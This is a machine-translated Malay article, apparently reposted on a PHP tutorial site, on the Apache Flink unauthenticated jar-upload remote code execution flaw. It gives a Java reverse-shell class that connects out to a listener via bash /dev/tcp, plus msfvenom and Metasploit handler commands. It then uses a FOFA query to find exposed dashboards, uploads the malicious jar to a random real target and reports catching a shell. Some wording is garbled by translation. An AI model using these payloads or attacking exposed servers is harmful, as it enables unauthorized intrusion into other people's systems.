Rumah > Operasi dan penyelenggaraan > Keselamatan > Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink

Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink

WBOY
Lepaskan: 2023-05-15 13:01:13
ke hadapan
1681 orang telah melayarinya

Perihalan kerentanan:

Pada 11 November 2019, jurutera keselamatan Henry Chen mendedahkan kelemahan yang membolehkan Apache Flink memuat naik pakej balang tanpa kebenaran, yang membawa kepada pelaksanaan kod jauh. Memandangkan Papan Pemuka Apache Flink boleh diakses tanpa pengesahan secara lalai, shell boleh diperolehi dengan memuat naik pakej balang berniat jahat dan mencetuskan pelaksanaan kod berniat jahat.

Skop pengaruh

<= 1.9.1 (versi terkini)

Persediaan persekitaran:

(1) Pasang terlebih dahulu Java yang baik (memerlukan java8 atau lebih tinggi)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Muat turun flink-1.9.1

Alamat muat turun: https://www.apache .org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Nyahzip pakej termampat yang dimuat turun:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
Salin selepas log masuk

( 4) Pergi ke direktori nyahmampat dan pergi ke direktori binnya:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Mulakan kelipan:

./start-cluster.sh
Salin selepas log masuk

(6) Akses Penyemak Imbas pengesahan (port lalai ialah 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Gambar di atas muncul dan pembinaannya berjaya.

(7) Sediakan automula semasa but (Saya telah lama bergelut di sini, tetapi saya tidak boleh bangun. Sumber langsung /etc/rc.d/rc.local boleh bermula, tetapi flink tidak akan dimulakan selepas dimulakan semula, dan akhirnya menemui penyelesaian)

apache flink任意jar包上传导致远程代码执行的示例分析

Tetapan automula semasa but

Ulangan kerentanan:

Langkah pengeluaran pakej jar:

( 1) Rujuk artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu untuk menggunakan java untuk melantun semula shell

apache flink任意jar包上传导致远程代码执行的示例分析

dan ingat untuk mengubah suai ip dan portnya:

apache flink任意jar包上传导致远程代码执行的示例分析

Kod:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>b. Kemudian pilih java-->Fail JAR boleh dijalankan</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>c. Kemudian pilih projek java dan laluan eksport dan nama fail eksport </p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>Gambar</p>
<p>Ini menjana pakej balang untuk shell lantunan</p>
<p>msf menjana kuda balang:</p>
<p>(1) Gunakan msfvenom untuk jana kuda balang:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
Salin selepas log masuk

(2) Buka modul mendengar msf, dan dengarkan port 9999 (untuk konsisten dengan port yang ditetapkan oleh kuda balang kami)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
Salin selepas log masuk


(3) Selepas memuat naik kuda balang yang kami hasilkan dan menyerahkannya (ini Sila rujuk pembiakan di bawah untuk beberapa operasi Anda boleh melihat bahawa kami berjaya menerima cengkerang: apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

Penghasilan semula tempatan:

(1) Sasaran Lawati:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klik Hantar kerja Baharu untuk membuka halaman untuk memuat naik pakej balang:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Klik Tambah Baharu untuk memilih pakej balang yang kami buat:

apache flink任意jar包上传导致远程代码执行的示例分析

( 4) Pantau port pada mesin kami (pakej balang yang kami buat terus melantunkan shell)

(5) Klik pada pakej balang yang baru kami muat naik:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) Kemudian klik Hantar, anda dapat melihat bahawa kami telah berjaya menerima shell:

apache flink任意jar包上传导致远程代码执行的示例分析

Tapak Internet:

kata kunci fofa:

"apache-flink-dashboard" && country="AS"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) Cari sasaran rawak:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klik Hantar Kerja baharu, anda boleh lihat ia membenarkan kami memuat naik pakej balang

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Gunakan fungsi flink untuk memuat naik pakej balang untuk memuat naik pakej balang kami:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Selepas memuat naik, kami Pantau port pada vps

(5) Kemudian kembali ke penyemak imbas, pilih pakej balang yang baru kami muat naik, dan klik Serah Anda dapat melihat bahawa vps kami telah berjaya menerima shell

apache flink任意jar包上传导致远程代码执行的示例分析

Pembetulan kerentanan:

Adalah disyorkan untuk menetapkan dasar tembok api untuk hanya membenarkan IP senarai putih mengakses perkhidmatan apache flink dan menambahkannya pada proksi web ( seperti apache httpd) Pengesahan ringkasan perkhidmatan.

Sentiasa perhatikan laman web rasmi dan tunggu versi baharu atau kemas kini tampalan

Atas ialah kandungan terperinci Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan